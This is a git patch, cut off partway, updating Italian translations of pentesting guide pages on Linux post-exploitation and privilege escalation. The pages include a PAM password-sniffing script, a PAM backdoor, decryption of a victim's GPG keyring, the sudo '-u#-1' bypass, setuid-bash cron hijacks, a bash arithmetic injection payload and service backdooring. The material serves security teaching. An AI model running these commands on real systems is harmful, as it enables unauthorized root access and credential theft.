From 4cba7fbc36401897cbb43b61c89155bea41e4fc7 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 00:59:41 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../linux-post-exploitation/README.md | 64 ++- .../privilege-escalation/README.md | 527 +++++++++--------- .../pentesting-web/laravel.md | 135 +++-- src/pentesting-web/file-upload/README.md | 196 ++++--- 4 files changed, 529 insertions(+), 393 deletions(-) diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 614daaf89..54bd9727b 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -4,21 +4,22 @@ ## Sniffing Logon Passwords with PAM -Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza per accedere. Se non sai cos'è PAM, controlla: +Configuriamo un modulo PAM per registrare ogni password che ogni utente usa per effettuare il login. Se non sai cos'è PAM controlla: + {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riepilogo: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary: -**Panoramica della Tecnica:** -I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riepilogo delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione. +**Technique Overview:** +Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login ma presentano anche rischi se usati in modo improprio. Questa sintesi illustra una tecnica per catturare le credenziali di accesso usando PAM, insieme a strategie di mitigazione. -**Cattura delle Credenziali:** +**Capturing Credentials:** -- Uno script bash chiamato `toomanysecrets.sh` è creato per registrare i tentativi di accesso, catturando la data, il nome utente (`$PAM_USER`), la password (tramite stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`. -- Lo script è reso eseguibile e integrato nella configurazione PAM (`common-auth`) utilizzando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente ed esporre il token di autenticazione allo script. +- Uno script bash chiamato `toomanysecrets.sh` viene creato per registrare i tentativi di login, catturando la data, l'username (`$PAM_USER`), la password (via stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`. +- Lo script viene reso eseguibile e integrato nella configurazione PAM (`common-auth`) usando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente e esporre il token di autenticazione allo script. - L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto. ```bash #!/bin/sh @@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Per ulteriori dettagli, controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto: +**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto: -Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: **nome utente**, **password** e **servizio**. I file di configurazione per ogni servizio si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione. +Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: **username**, **password**, e **service**. I file di configurazione per ogni service si trovano nella directory `/etc/pam.d/`, dove librerie condivise gestiscono l'autenticazione. -**Obiettivo**: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa `pam_unix.so` utilizzata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password. +**Obiettivo**: Modificare PAM per permettere l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo si concentra in particolare sulla libreria condivisa `pam_unix.so` usata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password. -### Passi per Modificare `pam_unix.so`: +### Passaggi per modificare `pam_unix.so`: -1. **Individuare la Direttiva di Autenticazione** nel file `common-auth`: -- La riga responsabile del controllo della password di un utente chiama `pam_unix.so`. -2. **Modificare il Codice Sorgente**: -- Aggiungere un'istruzione condizionale nel file sorgente `pam_unix_auth.c` che concede accesso se viene utilizzata una password predefinita, altrimenti procede con il normale processo di autenticazione. -3. **Ricompilare e Sostituire** la libreria modificata `pam_unix.so` nella directory appropriata. +1. **Individua la direttiva di autenticazione** nel file `common-auth`: +- La riga responsabile del controllo della password di un utente invoca `pam_unix.so`. +2. **Modificare il codice sorgente**: +- Aggiungere una condizione nel file sorgente `pam_unix_auth.c` che conceda l'accesso se viene usata una password predefinita; altrimenti prosegua con il normale processo di autenticazione. +3. **Ricompilare e sostituire** la libreria modificata `pam_unix.so` nella directory appropriata. 4. **Test**: -- L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati. +- L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i processi di autenticazione normali restano inalterati. > [!TIP] -> Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) + +## Decriptare loot GPG tramite spostamento dell'homedir + +Se trovi un file cifrato `.gpg` e la cartella `~/.gnupg` di un utente (pubring, private-keys, trustdb) ma non puoi decriptare a causa di permessi/blocchi dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come GPG home. + +Errori tipici che vedrai senza questo: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale). + +Flusso di lavoro: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +Se il materiale della chiave segreta è presente in `private-keys-v1.d`, GPG sbloccherà e decifrerà senza richiedere una passphrase (o la richiederà se la chiave è protetta). + + +## References + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 55dcf0b91..9516a1828 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,23 +2,23 @@ {{#include ../../banners/hacktricks-training.md}} -## Informazioni sul sistema +## Informazioni di sistema -### Informazioni sul sistema operativo +### Informazioni OS -Iniziamo a raccogliere alcune informazioni sul sistema operativo in esecuzione +Iniziamo a ottenere informazioni sul sistema operativo in esecuzione ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Se hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH` potresti essere in grado di eseguire l'hijack di alcune libraries o binaries: +Se **hai write permissions su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di hijack alcune libraries o binaries: ```bash echo $PATH ``` -### Env info +### Info ambiente Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash @@ -26,26 +26,26 @@ Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ``` ### Kernel exploits -Controlla la versione del kernel e se esiste qualche exploit che possa essere usato per escalate privileges +Controlla la versione del kernel e verifica se esiste qualche exploit che possa essere utilizzato per ottenere privilegi elevati. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** già qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Puoi trovare una buona lista di kernel vulnerabili e alcuni **compiled exploits** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Altri siti dove puoi trovare alcuni **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che potrebbero aiutare a cercare exploit del kernel sono: +Strumenti che possono aiutare a cercare kernel exploit sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (esegui SUL victim, controlla solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire IN victim, controlla solo exploits per kernel 2.x) -Sempre **Cerca la versione del kernel su Google**, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che quell'exploit sia valido. +Sempre **Cerca la versione del kernel su Google**, magari la tua versione del kernel è citata in qualche kernel exploit e in questo modo sarai sicuro che quell'exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo versione +### Versione di sudo -Basato sulle versioni vulnerabili di sudo che compaiono in: +Basato sulle versioni vulnerabili di sudo che appaiono in: ```bash searchsploit sudo ``` @@ -73,7 +73,7 @@ Da @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verifica della firma fallita +### Dmesg signature verification failed Controlla **smasher2 box of HTB** per un **esempio** di come questa vuln potrebbe essere sfruttata ```bash @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei all'interno di un docker container, puoi provare ad effettuare un escape: +Se sei all'interno di un docker container puoi provare a evaderne: + {{#ref}} docker-security/ {{#endref}} -## Unità +## Dischi -Controlla **what is mounted and unmounted**, dove e perché. Se qualcosa è unmounted puoi provare a mountarlo e verificare se contiene informazioni private. +Controlla **cosa è montato e non montato**, dove e perché. Se qualcosa non è montata potresti provare a montarla e cercare informazioni private ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,56 +141,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software utile -Elencare i binari utili +Enumerare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Verifica anche se è installato **qualche compiler**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo nella macchina in cui lo utilizzerai (o in una simile). +Controlla anche se è installato **qualsiasi compiler**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui intendi usarlo (o su una simile). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Software vulnerabili installati +### Software vulnerabile installato -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una versione vecchia di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ -Si consiglia di verificare manualmente la versione dei software installati più sospetti. +Verificare la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per escalating privileges…\ +Si consiglia di verificare manualmente la versione del software installato più sospetto. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleto o vulnerabile installato sulla macchina. +Se hai accesso SSH alla macchina, puoi anche usare **openVAS** per verificare la presenza di software obsoleto o vulnerabile installato sulla macchina. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili, quindi è consigliabile usare applicazioni come OpenVAS o simili che verifichino se qualche versione del software installato è vulnerabile a exploit conosciuti_ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni per lo più inutili; pertanto è consigliabile usare applicazioni come OpenVAS o simili che verifichino se le versioni del software installato sono vulnerabili a exploit noti_ ## Processi -Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi di quelli che dovrebbe** (magari un tomcat eseguito da root?) +Dai un'occhiata a **quali processi** vengono eseguiti e verifica se qualche processo ha **più privilegi del dovuto** (magari un tomcat eseguito da root?) ```bash ps aux ps -ef top -n 1 ``` -Controlla sempre se sono in esecuzione [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Controlla sempre la presenza di [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalation di privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** le rileva verificando il parametro `--inspect` nella riga di comando del processo.\ +Controlla anche i tuoi privilegi sui binaries dei processi, potresti sovrascriverne qualcuno. -### Process monitoring +### Monitoraggio dei processi -Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando si verificano determinate condizioni. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di condizioni. -### Process memory +### Memoria dei processi -Alcuni servizi di un server salvano **credenziali in chiaro nella memoria**.\ -Normalmente ti servono i **privilegi di root** per leggere la memoria di processi che appartengono ad altri utenti, quindi questo è più utile quando sei già root e vuoi scoprire altre credenziali.\ +Alcuni servizi su un server salvano **credenziali in chiaro nella memoria**.\ +Normalmente avrai bisogno dei **privilegi di root** per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credenziali.\ Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Nota che oggigiorno la maggior parte delle macchine **non permette ptrace di default**, il che significa che non puoi dumpare altri processi che appartengono a un utente non privilegiato. +> Nota che oggi la maggior parte delle macchine **non permette ptrace per impostazione predefinita**, il che significa che non puoi dumpare altri processi che appartengono al tuo utente non privilegiato. > > Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere tracciati, purché abbiano lo stesso uid. Questo è il comportamento classico di ptrace. -> - **kernel.yama.ptrace_scope = 1**: solo un processo genitore può essere tracciato. -> - **kernel.yama.ptrace_scope = 2**: solo l'admin può usare ptrace, poiché richiede la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per riabilitare ptrace. +> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugati, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptrace. +> - **kernel.yama.ptrace_scope = 1**: solo il processo parent può essere debugato. +> - **kernel.yama.ptrace_scope = 2**: solo l'amministratore può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per riabilitare il ptracing di nuovo. #### GDB @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Script per GDB +#### Script GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato ID del processo, **maps mostrano come la memoria è mappata all'interno del** spazio degli indirizzi virtuali di quel processo; mostra anche i **permessi di ciascuna regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **seek nel file mem e dumpare tutte le regioni leggibili** in un file. +Per un dato PID, **maps mostrano come la memoria è mappata all'interno di quel processo** nello spazio di indirizzi virtuale; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **posizionarci nel file mem ed eseguire il dump di tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -230,15 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce l'accesso alla memoria **fisica** del sistema, non a quella virtuale. -Lo spazio degli indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ +`/dev/mem` fornisce l'accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump per linux +### ProcDump per Linux -ProcDump è una rivisitazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per eseguire il dump della memoria di un processo puoi usare: +Per dumpare la memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà -- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (è richiesto root) ### Credenziali dalla memoria del processo @@ -282,16 +282,16 @@ Se trovi che il processo authenticator è in esecuzione: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi dumpare il processo (vedi le sezioni precedenti per trovare diversi modi per dumpare la memoria di un processo) e cercare credenziali all'interno della memoria: +Puoi dump the process (vedi le sezioni precedenti per trovare diversi modi per dump the memory of a process) e cercare credentials nella memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sottrae **credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) permette di **rubare le credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. -| Funzionalità | Nome del processo | +| Funzionalità | Nome processo | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -314,36 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Attività pianificate/Cron jobs +## Job pianificati / Cron jobs -Verifica se qualche attività pianificata è vulnerabile. Magari puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). +Verifica se qualche job pianificato è vulnerabile. Potresti sfruttare uno script eseguito da root (wildcard vuln? puoi modificare i file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Percorso di Cron Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Nota come l'utente "user" ha privilegi di scrittura su /home/user_) -Se all'interno di questo crontab l'utente root prova a eseguire un comando o uno script senza impostare il path. Ad esempio: _\* \* \* \* root overwrite.sh_\ -Allora, puoi ottenere una shell root usando: +Se, all'interno di questo crontab, l'utente root tenta di eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ +Allora puoi ottenere una shell di root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron che esegue uno script con un wildcard (Wildcard Injection) +### Cron che usa uno script con un wildcard (Wildcard Injection) -Se uno script eseguito da root ha una “**\***” all'interno di un comando, potresti sfruttarlo per ottenere comportamenti inaspettati (come privesc). Esempio: +Se uno script eseguito da root contiene un “**\***” all'interno di un comando, puoi sfruttarlo per ottenere comportamenti imprevisti (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` **Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** -Read the following page for more wildcard exploitation tricks: +Leggi la pagina seguente per altri trucchi di exploitation dei wildcard: {{#ref}} @@ -353,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se un cron/parser eseguito come root legge campi di log non affidabili e li inserisce in un contesto aritmetico, un attaccante può iniettare una command substitution $(...) che viene eseguita come root quando il cron viene eseguito. +Bash esegue parameter expansion e command substitution prima della valutazione aritmetica in ((...)), $((...)) e let. Se un cron/parser eseguito da root legge campi di log non attendibili e li passa in un contesto aritmetico, un attaccante può iniettare una command substitution $(...) che viene eseguita come root quando il cron viene eseguito. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il rimanente numerico `0` viene usato per l'aritmetica così lo script continua senza errori. +- Perché funziona: in Bash, le expansion avvengono in questo ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come `$(/bin/bash -c 'id > /tmp/pwn')0` viene prima sostituito (eseguendo il comando), poi il rimanente numerico `0` viene usato per l'aritmetica così lo script continua senza errori. - Typical vulnerable pattern: ```bash @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Fai scrivere testo controllato dall'attaccante nel log parsato in modo che il campo dall'aspetto numerico contenga una command substitution e termini con una cifra. Assicurati che il tuo comando non stampi su stdout (o reindirizzalo) così l'aritmetica resta valida. +- Exploitation: fai in modo che testo controllato dall'attaccante venga scritto nel log parsato in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non stampi su stdout (o ridiriggilo) così l'aritmetica resta valida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +376,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se puoi **modify a cron script** eseguito da root, puoi ottenere una shell molto facilmente: +Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root usa una **directory in cui hai pieno accesso**, potrebbe essere utile eliminare quella cartella e **creare una symlink che punti a un'altra cartella** che contenga uno script controllato da te +Se lo script eseguito da root utilizza una **directory a cui hai pieno accesso**, potrebbe risultare utile eliminare quella cartella e **creare una cartella symlink verso un'altra** che esegua uno script controllato da te. ```bash ln -d -s ``` -### Frequent cron jobs +### Cron job frequenti -Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi sfruttarlo e escalate privileges. +Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti sfruttarlo per ottenere privilegi elevati. -Per esempio, per **monitorare ogni 0.1s durante 1 minuto**, **ordinare per comandi eseguiti meno frequentemente** e cancellare i comandi che sono stati eseguiti più spesso, puoi fare: +Ad esempio, per **monitorare ogni 0.1s durante 1 minuto**, **ordinare per i comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti più spesso, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà e elencherà ogni processo che viene avviato). +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che viene avviato). ### Cron jobs invisibili -È possibile creare un cronjob **inserendo un carriage return dopo un commento** (senza il carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): +È possibile creare un cronjob **inserendo un carriage return dopo un commento** (senza carattere di nuova riga), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,12 +406,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### File _.service_ scrivibili -Verifica se puoi scrivere qualsiasi file `.service`; se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere il riavvio della macchina).\ -Ad esempio crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** +Verifica se puoi scrivere qualsiasi file `.service`; se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il servizio è **avviato**, **riavviato** o **interrotto** (potrebbe essere necessario attendere il riavvio della macchina).\ +Ad esempio crea la tua backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** -### Binari di servizio scrivibili +### Binari dei servizi scrivibili -Tieni presente che se hai i **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoors, così quando i servizi vengono rieseguiti le backdoors verranno eseguite. +Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi vengono rieseguiti le backdoor vengano eseguite. ### systemd PATH - Percorsi relativi @@ -419,42 +419,42 @@ Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri che puoi **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalare i privilegi**. Devi cercare **percorsi relativi utilizzati nei file di configurazione dei servizi** come: +Se scopri di poter **scrivere** in una qualsiasi delle cartelle del percorso potresti riuscire a **escalare i privilegi**. Devi cercare **percorsi relativi usati nei file di configurazione dei servizi** come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Poi, crea un **eseguibile** con lo **stesso nome del binario indicato con un percorso relativo** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando al servizio viene chiesto di 